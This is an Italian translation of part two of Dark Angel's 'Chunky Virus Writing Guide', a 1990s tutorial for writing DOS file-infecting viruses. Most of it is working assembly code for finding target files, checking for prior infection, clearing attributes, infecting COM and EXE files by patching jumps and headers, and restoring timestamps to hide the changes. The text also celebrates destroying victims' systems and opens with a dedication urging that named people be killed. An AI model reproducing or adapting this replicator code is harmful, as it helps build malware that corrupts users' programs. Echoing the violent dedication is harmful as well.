Guida alla scrittura dei virus Appiccicosi di Dark Angel
Gli ____ _ ___ ___ __ ______ ____28-09-98
/ __/__ (_) _ \/ _ \___ / / ___ /_ __/__ ____/ _/ ASCII
_\ \/ _ \/ / ___/ ___/ _ \/ /_/ _ `// / / _ \/ __// / by
/___/ .__/_/_/ /_/ \___/____|_,_//_/ \___/_/ /___/RigoR Mortem
/_/
Presentano: Guida alla scrittura dei virus Appiccicosi di Dark Angel
Tradotto da : El Mariachi
Supervisione di : RigoR MorteM
DECLINAZIONE DI RESPONSABILITA': Fingi di vedere una declinazione di responsabilit‡ qui. il 99.44% del codice Ë garantito funzionante.
DEDICATO A: Per favore fai del tuo meglio per uccidere quelli che hanno reso questo possibile, specialmente quella stupida cagna che non conosce il suo nome (Patty), ed il suo amante Ross M. Greenberg.
RINGRAZIAMENTI E MATERIALE: Un ringraziamento va a tutti i membri di PHALCON/ SKISM. Desidero dare dei sinceri ringraziamenti a Hellraiser, Garbageheap, e Demogorgon. Nessun ringraziamento stavolta a Orion Rouge, divino maestro di idiozia.
Dark Angel's Chunky Virus Writing Guide
II PUNTATA: IL REPLICATORE
Nell'ultima PUNTATA della mia Guida sulla scrittura dei Virus, ho spiegato le varie parti di un virus e ho fatto una breve trattazione di ciascuno. In questa rivista dedicherÚ tutta mia attenzione sulla porzione replicatrice del virus. Ho promesso codice e codice presenterÚ.
Comunque, divagherÚ per un momento perchÈ Ë venuto alla mia attenzione che qualche copia mutante della prima puntata Ë stata inavvertitamente rilasciata. Queste copie non contengono una sezione vitale riguardo al calcolo degli offsets.
Non sai mai dove le tue variabili e il codice vanno a posizionarsi in memoria. Se ci pensi un po', questo dovrebbe essere abbastanza ovvio.
PoichÈ tu stai attaccando il virus alla fine di un programma, l'ubicazione in memoria cambier‡, per esempio potr‡ essere pi˘ grande della dimensione del programma infetto. CosÏ, compensare, dobbiamo prendere il cambio in offset dal virus originale, o il delta offset, ed aggiungere questo a tutti i riferimenti a variabili.
Le istruzioni che usano il dislocamento, offset relativo, non necessitano di essere cambiati. Queste istruzioni sono le classi di istruzioni JA, JB, JZ, JMP SHORT, etichette JMP, e CALL. CosÏ, ogni qualvolta Ë possibile usa questi al posto di, dico, JMP FAR PTR.
Supponi negli esempi seguenti, che [si] Ë caricato in qualche modo con un delta di offset.
Sostituisci
mov ax, counter
Con
mov ax, word ptr [si+offset counter]
Sostituisci
mov dx, offset message
Con
lea dx, [si+offset message]
Tu puoi chiedere, "come il [farg] io ho supposto trovare il delta di offset!?"
» abbastanza semplice:
call setup
setup:
pop si
sub si, offset setup
Un chiarimento del frammento di sopra Ë in ordine. CAll setup pone l'ubicazione della prossima istruzione, l'offset setup, sopra lo stack.
Poi, questa locazione Ë POPed in si. Finalmente, l'offset ORIGINALE di setup (calcolato a tempo di compilazione) Ë sottratto da [si], dandoti il delta dell'offset. Nel virus originale, il delta dell'offset sar‡ 0, per esempio la nuova ubicazione di setup Ë uguale alla vecchia ubicazione di setup.
Spesso Ë preferibile usare [bp] come il tuo delta offset, poichÈ si Ë usato in istruzioni di stringa. Usa qualunque tu preferisci. Io casualmente scambio tra le due cosÏ come si trova il mio umore.
Ora indietro all'altra roba.
Un virus biologico Ë un "organismo" parassita che usa il suo ospite per riprodursi. Deve tenere l'ospite vivo per "sopravvivere". Solo quando si Ë diffuso dappertutto l'ospite muore di una dolorosa, orribile morte. Il moderno virus elettronico non Ë diverso. Si attacca a un sistema ospite e si riproduce fino a che l'intero sistema Ë fottuto. Allora procede e distrugge in maniera pulita il sistema dello stupido che ha preso il virus.
La replicazione Ë ciÚ che distingue un virus da un semplice trojan.
Qualcuno puÚ scrivere un trojan, ma un virus Ë molto pi˘ elegante. Agisce quasi invisibilmente, e prende la vittima con la guardia abbassata quando finalmente affiora. La prima domanda Ë, naturalmente, come fa un virus a diffondersi? Entrambe le infezioni su COM ed EXE (insieme con esempi di routine di infezione) saranno trattate.
Ci sono due approcci maggiori ai virus: runtime e TSR. I virus runtime infettano, [yup], l'hai indovinato, quando il programma infetto Ë in esecuzione, Mentre i virus TSR diventano residenti quando i programmi infetti sono lanciati e agganciano gli interrupts ed infettano quando un file viene eseguito, aperto, chiuso, e/ o su terminazione (per esempio INT 20h, INT 21h/41h). Ci sono I vantaggi e svantaggi per ognuno. I virus Runtime Ë pi˘ difficile da scoprire poichÈ non compaiono nella mappa della memoria, ma, sull'altra mano, durante il tempo che impiega per cercare ed infettare un file questi puÚ terminare. I virus TSR, se non propriamente fatti, possono essere individuati facilmente da utilit‡ come MAPMEM, PMAP, etc, ma sono, in genere, pi˘ piccoli poichÈ non hanno bisogno di una funzione cercare i files da infettare. Sono anche pi˘ veloci dei virus runtime, anche perchÈ non
devono cercare files da infettare. TratterÚ i virus Runtime qui, ed i virus TSR in una prossima puntata.
Qui c'Ë un riassunto della procedura dell'infezione:
1) Trova un file da infettare.
2) Controlla se rispetta i criteri dell'infezione.
3) Vedi se Ë infettato gi‡ ed in tal caso, risali a 1.
4) Altrimenti, infetta il file.
5) Nascondi le tue tracce.
AndrÚ attraverso ciascuno di questi passi e presenterÚ esempi di codice per ciascuno. Nota che sebbene un virus completo puÚ essere costruito dalle informazioni riportate in seguito, non puoi soltanto prendere i vari pezzi dei codice ed incollarli insieme, poichÈ i frammenti provengono da diversi virus che ho scritto. Devi avere una buona familiarit‡ con l'assembler. Io presento frammenti di codice; Ë tua cura di usarli insieme come esempi o modificarli per i tuoi virus.
1∞ PASSO- TROVA UN FILE DA INFETTARE
Prima che tu puoi infettare un file, devi prima trovarlo! Questo puÚ essere una collo di bottiglia nell'esecuzione del virus, cosÏ dovrebbe essere fatto tanto efficientemente quanto possibile. Per i virus runtime ci sono poche possibilit‡. Tu potresti infettare solo i files contenuti nella directory corrente, o potresti scrivere una funzione traversale sulle directory per infettare i files in TUTTE le directory (solo alcuni files per esecuzione, naturalmente), o potresti infettare solo i files in alcune directory selezionate. PerchÈ dovresti scegliere di infettare solo i files nella directory corrente? Potrebbe apparire un limite dell'efficacia dell'infezione. Comunque, ciÚ Ë fatto in alcuni virus sia per accelerare il virus sia per accorciare la dimensione del codice.
Qui Ë una funzione traversale alle directory. Essa usa la ricorsione, cosÏ Ë piuttosto lenta, ma fa il lavoro. Questa Ë stata stralciata con alcune modifiche dal Virus di Funky Bob Ross [ Beta].
traverse_fcn proc near
push bp ; Crea uno Stack Frame
mov bp,sp
sub sp,44 ; Alloca spazio per DTA
call infect_directory ; Va alle routine di cerca e distruggi
; routines
mov ah,1Ah ; Setta DTA
lea dx,word ptr [bp-44] ; per lo spazio assegnato
int 21h ; lo fa adesso!
mov ah, 4Eh ; trova prima
mov cx,16 ; La maschera della directory
lea dx,[si+offset dir_mask] ; *.*
int 21h
jmp short isdirok
gonow:
cmp byte ptr [bp-14], '.' ; Ë il primo carattere == '.'?
je short donext ; Se Ë cosÏ, gira ancora
lea dx,word ptr [bp-14] ; altrimenti carica dirname
mov ah,3Bh ; e poi changedir
int 21h
jc short donext ; Fai ciÚ in seguito se non valido
inc word ptr [si+offset nest] ; nest++
call near ptr traverse_fcn ; ricorri nuovamente a directory
donext:
lea dx,word ptr [bp-44] ; carica nello spazio allocato per DTA
mov ah,1Ah ; e setta DTA in questa nuova area
int 21h ; perchÈ puÚ essere cambiata
mov ah,4Fh ; trova il prossimo
int 21h
isdirok:
jnc gonow ; se OK, jmp dovunque
cmp word ptr [si+offset nest],0 ; se directory principale
[root] ; (nest == 0)
jle short cleanup ; allora Quit
dec word ptr [si+offset nest] ; Altrimenti decrementa nest
lea dx, [si+offset back_dir] ; '..'
mov ah,3Bh ; Cambia directory
int 21h ; in quella precedente
cleanup:
mov sp,bp
pop bp
ret
traverse_fcn endp
; Variables
nest dw 0
back_dir db '..',0
[db] del [dir_mask] '*.* ,' 0
Il codice si spiega da solo. Assicurati di avere una funzione chiamata infect_directory che analizza le directory per possibili files da infettare e si assicura di non infettare files gi‡ infetti. Questa funzione, quando attivata, chiama infect_file che infetta l'archivio.
Nota, come ho detto prima, che ciÚ Ë lento. Un metodo pi˘ rapido, benchÈ non cosÏ globale, Ë il metodo "punto punto". Hellraiser mi ha mostrato questo piccolo trucco pulito. Fondamentalmente, tu effettui una ricerca in ogni directory e, se non hai infettato abbastanza, vai alla directory precedente (punto punto) e provi di nuovo, e cosÏ via. Il codice Ë semplice.
dir_loopy:
call infect_directory
lea dx, [bp+dotdot]
mov ah, 3bh ; CHDIR
int 21h
jnc dir_loopy ; Torna indietro se sei in root
; Variables
dotdot db '..',0
Ora devi trovare un file da infettare. Questo Ë fatto (nei frammenti sopra) da una funzione chiamata infect_directory. Questa funzione chiama FINDFIRST e FINDNEXT un paio di volte per trovare files da infettare. Devi prima settare un DTA nuovo. MAI usare il DTA nel PSP (a 80h) perchÈ altera ciÚ che agir‡ sui i parametri della linea di comando del programma infetto quando il controllo gli sar‡ ritornato. Questo Ë fatto facilmente col seguente:
mov ah, 1Ah ; Setta DTA
lea dx, [bp+offset DTA] ; alla variabile chiamata DTA (wow!)
int 21h
Dove DTA Ë un pezzo di memoria di 42-byte . Poi, emetti una serie di chiamate di FINDFIRST e FINDNEXT :
mov ah, 4Eh ; trova il primo file
mov cx, 0007h ; Ogni attributo di file
lea dx, [bp+offset file_mask] ; DS:[DX] --> filemask
int 21h
jc none_found
found_another:
call check_infection
mov ah, 4Fh ; trova il prossimo file
int 21h
jnc found_another
none_found:
Quando file_mask Ë DBzzato sia '*.EXE',0 che '*.COM',0. Alternativamente, tu puoi FINDFIRST per '*.*',0 e controllare se l'estensione Ë EXE o COM.
2∞ PASSO - CONTROLLO DEI CRITERI DI INFEZIONE
Il Tuo virus dovrebbe essere prudente nella sua infezione. Per esempio, tu non vorresti infettare COMMAND.COM, poichÈ alcuni programmi (per esempio il piccolo FluShot+) controlla il suo CRC o checksum in runtime. Forse tu non desideri infettare il primo file valido nell'elenco. Ambulance Car Ë un esempio di un tale virus. Malgrado tutto, se ci sono alcuni criteri di infezione, dovresti controllare per esso ora. Qui c'Ë un esempio di codice che controlla se le ultime due lettere sono 'ND,' un controllo semplice per COMMAND.COM:
cmp word ptr [bp+offset DTA+35], 'DN' ; Cambia l'ordine della parola
jz fail_check
3∞ PASSO - CONTROLLA PER UNA PRECEDENTE INFEZIONE
Ogni virus ha certe caratteristiche con le quali puoi identificare se un file Ë gi‡ infettato. Per esempio un certo pezzo di codice puÚ sempre trovarsi in un posto prevedibile. O forse l'istruzione JMP Ë sempre programmata nella stessa maniera. Malgrado tutto, devi essere sicuro che il tuo virus ha un marcatore cosÏ che non possono verificarsi infezioni multiple dello stesso file. Qui c'Ë un esempio di un tale controllo (per un contaminatore di file COM):
mov ah,3Fh ; Legge prima tre
mov cx, 3 ; bytes del file
lea dx, [bp+offset buffer] ; nel buffer
int 21h
mov ax, 4202h ; CERCA da EOF
xor cx, cx ; DX:CX = offset
xor dx, dx ; Ritorna la dimensione del file
int 21h ; in DX:AX
sub ax, virus_size + 3
cmp word ptr [bp+offset buffer+1], ax
jnz infect_it
bomb_out:
mov ah, 3Eh ; oppure chiude il file
int 21h ; e va a cercare altrove
In questo esempio si presume che BX tiene un handle del file al programma per essere controllato per infezione e virus_size confronta la dimensione del virus. IL Buffer Ë assunto essere un'area di spazio vuoto dI tre-byte. Questo frammento di codice legge i primi tre byte nel buffer e poi compara l'ubicazione di JMP (localizzata nell'inizio della parola a buffer+1) alla dimensione del file. Se il JMP punta ai bytes del virus_size prima del'EOF, allora il file gi‡ Ë infettato con questo virus. Un altro metodo sarebbe di cercare a una certa ubicazione nel file per un byte marcatore o parola. Per esempio:
mov ah, 3Fh ; Legge i primi quattro
mov cx, 4 ; bytes del file nel
lea dx, [bp+offset buffer] ; buffer.
int 21h
cmp byte ptr [buffer+3], infection_id_byte ; Controlla il quarto
jz bomb_out ; byte per il marker
infect_it:
4∞ PASSO - INFETTA L'ARCHIVIO
Questo Ë il "budello" del virus, il cuore del replicatore. Una volta che hai localizzato un file potenziale, devi salvare gli attributi, tempo, data, e dimensione per un uso pi˘ in l‡. Il seguente Ë un guasto del DTA:
Size Offset Che cos'Ë
0h 21 BYTES Riservato, varia a seconda della versione DOS
15h BYTE File attribute
16h WORD File time
18h WORD File date
1Ah DWORD File size
1Eh 13 BYTES ASCIIZ filename + extension
Come puÚ vedere, il DTA tiene tutte l'informazioni vitali del file di cui hai bisogno. Il frammento del codice seguente Ë un esempio di come salvare le informazioni:
lea si, [bp+offset DTA+15h] ; Inizia dagli attributi
mov cx, 9 ; finisce con la dimensione
lea di, [bp+offset f_attr] ; Muove nelle tue locazioni
rep movsb ; necessita di variabili
f_attr db ?
f_time dw ?
f_date dw ?
f_size dd ?
Tu puoi cambiare ora gli attributi del file a zero attraverso la funzione INT21h/ la subfunzione 43h/ 01h. Questo permette l'infezione dei files di sistema, nascosti, e di solo lettura. Solo i virus primitivi (o minimi) non possono maneggiare tali files.
lea dx, [bp+offset DTA+1eh] ; DX punta al filename in
mov ax, 4301h ; DTA
xor cx, cx ; Azzera gli attributi del file
int 21h ; Emette la chiamata
Una volta che gli attributi sono stati annullati, puÚ aprire l'archivio con impunit‡ senza cuore. Usa un'handle per aprire in modo reda/write.
lea dx, [bp+offset DTA+1eh] ; Usa il filename in DTA
mov ax, 3d02h ; Apri in modalit‡ read/write
int 21h ; toh.
xchg ax, bx ; Handle Ë pi˘ utile in BX
Ora veniamo alla parte che tutti avete aspettato: la routine dell'infezione. Ho il piacere di presentare il codice che manegger‡ l'infezione dei file COM. Sbadiglio, voi direte, io gi‡ posso fare ciÚ con le informazioni che hai presentato nella puntata precedente. Ah, ma c'Ë di pi˘, molto di pi˘. Un esempio di contaminatore EXE potrebbe essere presentato anche brevemente.
La teoria che sta dietro all'infezione di un file COM Ë stato trattato nella ultima puntata, cosÏ non scaverÚ nei dettagli di nuovo. Qui c'Ë un esempio di contaminatore:
; Esempio di contaminatore COM. Presume che BX tiene l'handle del file
; Assume che il file COM passi i criteri dell'infezione e non sia gi‡ infetto
mov ah, 3fh
lea dx, [bp+buffer1]
mov cx, 3
int 21h
mov ax, 4200h ; Muove il pointer del file
xor cx, cx ; all'inizio del
xor dx, dx ; file
int 21h
mov byte ptr [bp+buffer2], 0e9h ; JMP
mov ax, word ptr [bp+f_size]
sub ax, part1_size ; normalmente 3
mov word ptr [bp+buffer2+1], ax ; offset di JMP
; cifra l'istruzione JMP per rimetterla all'inizio del file
mov byte ptr [bp+buffer2], 0e9h ; JMP
mov ax, word ptr [bp+f_size]
sub ax, part1_size ; normalmente 3
mov word ptr [bp+buffer2+1], ax ; offset di JMP
; Scrive l'istruzione JMP all'inizio del file
mov ah, 40h ; Scrive CX bytes
mov cx, 3 ; nell'handle in BX dal
lea dx, [bp+buffer2] ; buffer -> DS:[DX]
int 21h
mov ax, 4202h ; Muove il puntatore del file alla
xor cx, cx ; fine del file
xor dx, dx
int 21h
mov ah, 40h ; Scrive CX bytes
mov cx, endofvirus - startofpart2 ; Effettiva dimensione del virus
lea dx, [bp+startofpart2] ; Inizia a scrivere all'inizio
int 21h
; Variables
buffer1 db 3 dup (?) ; Bytes salvato dal file infetto da
; ripristinare pi˘ tardi
buffer2 db 3 dup (?) ; Buffer temporaneo
Dopo alcune prove, questo codice risulter‡ facile da capire. Esso comincia a leggere i primi tre bytes in un buffer. Nota che avrebbe potuto fare questo in un passo precedente, come quando controlla per un'infezione precedente. Se gi‡ hai fatto questo, evidentemente non hai bisogno di farlo di nuovo. Questo buffer deve essere immagazzinato nel virus cosÏ puÚ essere ripristinato pi˘ tardi quando il codice Ë eseguito.
le infezioni EXE sono anche semplici, benchÈ un po' pi˘ difficili da capire. Primo, la teoria. Qui c'Ë il formato di un header di un EXE:
Ofs Name Size Commento
00 Dimensione ultima pagina 2 bytes sempre 4Dh 5Ah (MZ)
*02 File Pages 1 word numero di bytes nell'ultima pagina
*04 Reloc Items 1 word number of 512 byte pages
06 Header Paras 1 word number of entries in table
08 MinAlloc 1 word size of header in 16 byte paras
0A MaxAlloc 1 word minimum memory required in paras
0C PreReloc SS 1 word maximum memory wanted in paras
*0E Initial SP 1 word 1 word offset in paras to stack segment
*10 Negative checksum 1 word starting SP value
12 Pre Reloc IP 1 word currently ignored
*14 Pre Reloc CS 1 word execution start address
*16 table offset 1 word preadjusted start segment
18 Reloc 1 word is offset from start of file)
1A Overlay number 2 words ignored if not overlay
1C Reserved / unused
* denota quali bytes dovrebbero essere cambiati dal virus
Per capire ciÚ, devi primo comprendere che i file EXE sono strutturati in intervalli. Questi intervalli possono cominciare e finire dovunque. Tutto che devi fare per infettare un file EXE Ë attaccare il tuo codice alla fine. Sar‡ poi nel suo proprio segmento. Ora tutto quello che devi fare Ë fare eseguire il codice del virus prima del codice del programma. al contrario delle infezioni dei COM , nessuno codice del programma Ë sovrascritto, benchÈ la testata Ë modificata. Nota il virus puÚ avere ancora la struttura V1/V2, ma solo V2 ha bisogno di essere concatenata alla fine del file EXE infettato.
L'offset 4 (File Pages) contiene la dimensione del file divisa per 512, arrotondata per eccesso. L'offset 2 contiene il modulo di 512 della dimensione del file. l'offset 0Eh contiene lo spostamento del paragrafo (relativo alla fine dell'header) del segmento iniziale dello stack e l'offset 10h contiene lo spostamento (relativo all'inizio del segmento di stack) del puntatore iniziale dello stack. L'offset 16h contiene lo spostamento del paragrafo del punto d'ingresso relativo alla fine dell'header e l'offset 14h contiene il punto di ingresso dello spostamento relativo all'inizio del segmento di entrata. l'offset 14h e 16h sono le chiavi per aggiungere il codice di avvio (il virus) al file.
Prima che tu infetti il file, dovresti salvare il CS: IP e SS: SP trovato nell'header dell'EXE, perchË hai bisogno di ripristinarli dopo l'esecuzione.
Nota che SS: SP non sono memorizzati nel formato Intel reverse-double-word.
Se tu non capisci quello che dico, non preoccuparti; Ë solo per gente molto sofisticata. Dovresti salvare anche la lunghezza del file perchÈ ne avrai bisogno di usare quel valore molte volte durante la routine dell'infezione.
Ora Ë tempo di calcolare qualche offset! Per trovare i nuovi CS: IP e SS: SP, usa il seguente codice. Questo presume che la dimensione del file sia conservata in DX: AX.
mov bx, word ptr [bp+ExeHead+8] ; dimensione dell' Header nei paragrafi
; ^--- accertati di non distruggere
; l'handle del file
mov cl, 4 ; Moltiplica per 16. Non dovrebbe
shl bx, cl ; funzionare con headers > 4096 bytes.
; Oh bene!
sub ax, bx ; Sottrai la dimensione dell'header dalla
sbb dx, 0 ; dimensione del file
; Ora DX:AX contiene la dimensione del
; file meno la dimensione dell'header
mov cx, 10h ; DX:AX/CX = AX Rimanda a DX
div cx
Questo codice Ë piuttosto inefficiente. Sarebbe probabilmente pi˘ facile dividere per 16 prima ed poi compiere una sottrazione direttamente da AX, ma succede che questo Ë il codice che ho scelto. CosÏ Ë la vita. Comunque, questo codice ha alcuni vantaggi rispetto a quelli pi˘ efficienti di lui.
Con questo Ë certo che l'IP (in DX) sar‡ sotto 15. Questo permette allo stack di essere nello stesso intervallo come l'entry point, finchÈ il puntatore allo stack Ë un grande numero.
Ora AX* 16+ DX punta alla fine di codice. Se il virus comincia immediatamente dopo la fine del codice, AX e DX possono essere usati come il CS iniziale ed IP, rispettivamente. Comunque, se il virus ha alcuni pezzi (codice o dati) prima dell'entry point, aggiungi lo spostamento del'entry point a DX (nessun ADC con AX Ë necessario finchË DX sar‡ sempre piccolo).
mov word ptr [bp+ExeHead+14h], dx ; IP Offset
mov word ptr [bp+ExeHead+16h], ax ; Spostamento di CS in modulo
Il SP e SS possono essere calcolati ora. Il SS Ë uguale al CS. Il valore attuale del SP Ë irrilevante, finchÈ esso Ë grande abbastanza cosÏ lo stack non sovrascriver‡ il codice (ricorda: la pila cresce verso il basso). Come regola generale, accertati che SP Ë almeno 100 bytes pi˘ grande della dimensione del virus. Questo dovrebbe essere sufficiente ad evitare problemi.
mov word ptr [bp+ExeHead+0Eh], ax ; Paragraph disp. SS
mov word ptr [bp+ExeHead+10h], 0A000h ; Starting SP
Tutto quello che Ë possibile manomettere nell'header Ë la dimensione del file. Ripristini la dimensione originale del file da dovunque l'hai salvato a DX: AX. Per calcolare DX: AX/ 512 e DX: AX MOD 512, uso il codice seguente:
mov cl, 9 ; Usa lo spostamento di nuovo per
ror dx, cl ; la divisione
push ax ; bisogna usare di nuovo AX
shr ax, cl
adc dx, ax ; pagine in dx
pop ax
and ah, 1 ; mod 512 in ax
mov word ptr [bp+ExeHead+4], dx ; Fix-up la dimensione del file
mov word ptr [bp+ExeHead+2], ax ; nell'header dell'EXE.
Tutto quello che Ë rimasto Ë come scrivere dietro l'header dell'EXE e concatenare il virus alla fine del file. Vuoi il codice? avrai il codice.
mov ah, 3fh ; BX contiene l'handle
mov cx, 18h ; Non necessita l'intero header
lea dx, [bp+ExeHead]
int 21h
call infectexe
mov ax, 4200h ; Ritorna all'inizio del
xor cx, cx ; file
xor dx, dx
int 21h
mov ah, 40h ; riscrive l'header
mov cx, 18h
lea dx, [bp+ExeHead]
int 21h
mov ax, 4202h ; va alla fine del file
xor cx, cx
xor dx, dx
int 21h
mov ah, 40h ; Nota: solo se hai bisogno di scrivere la
mov cx, part2size ; 2^ parte del virus
lea dx, [bp+offset part2start] ; (Parti del virus definite nella prima
int 21h ; puntata della guida)
Nota che questo codice solo non Ë sufficiente per scrivere un contaminatore COM o EXE. E' necessario del codice anche per trasferire indietro il controllo al programma genitore. Le informazioni necessarie per fare questo saranno presentate nella prossima puntata. Nel frattempo, puoi cercare di farlo da solo; ricorda solo che devi ripristinare tutto quello che ha cambiato.
5∞ PASSO - COPRI LE TUE TRACCE
Questo passo, sebbene semplice da fare, Ë anche facilmente trascurato. » estremamente importante, come un utente accorto sar‡ allertato dalla presenza di un virus da un'inutile aggiornamento di in file. Nel suo modo pi˘ semplice coinvolge il ripristino degli attributi del file, tempo e data.
Questo Ë fatto col seguente:
mov ax, 5701h ; Setta l'ora/data del file
mov dx, word ptr [bp+f_date] ; DX = data
mov cx, word ptr [bp+f_time] ; CX = ora
int 21h
mov ah, 3eh ; Handle per chiudere il file
int 21h
mov ax, 4301h ; Setta gli attributi
lea dx, [bp+offset DTA + 1Eh] ; Il nome del file Ë ancora in DTA
xor ch, ch
mov cl, byte ptr [bp+f_attrib] ; Attributi in CX
int 21h
Ricordati anche di ripristinare la directory come quella originale se l'hai cambiata durante l'esecuzione del virus.
COSA VIENE DOPO
Sono compiaciuto della tremenda risposta all'ultima puntata della guida.
La prossima volta, tratterÚ il restante parte del virus cosÏ come vari suggerimenti e trucchi comuni utili per scrivere i virus. Fino ad allora, assicurati di cercare 40Hex, il periodico ufficiale di PHALCON/ SKISM, dove condividiamo suggerimenti ed informazioni pertinenti alla comunit‡ del virus.
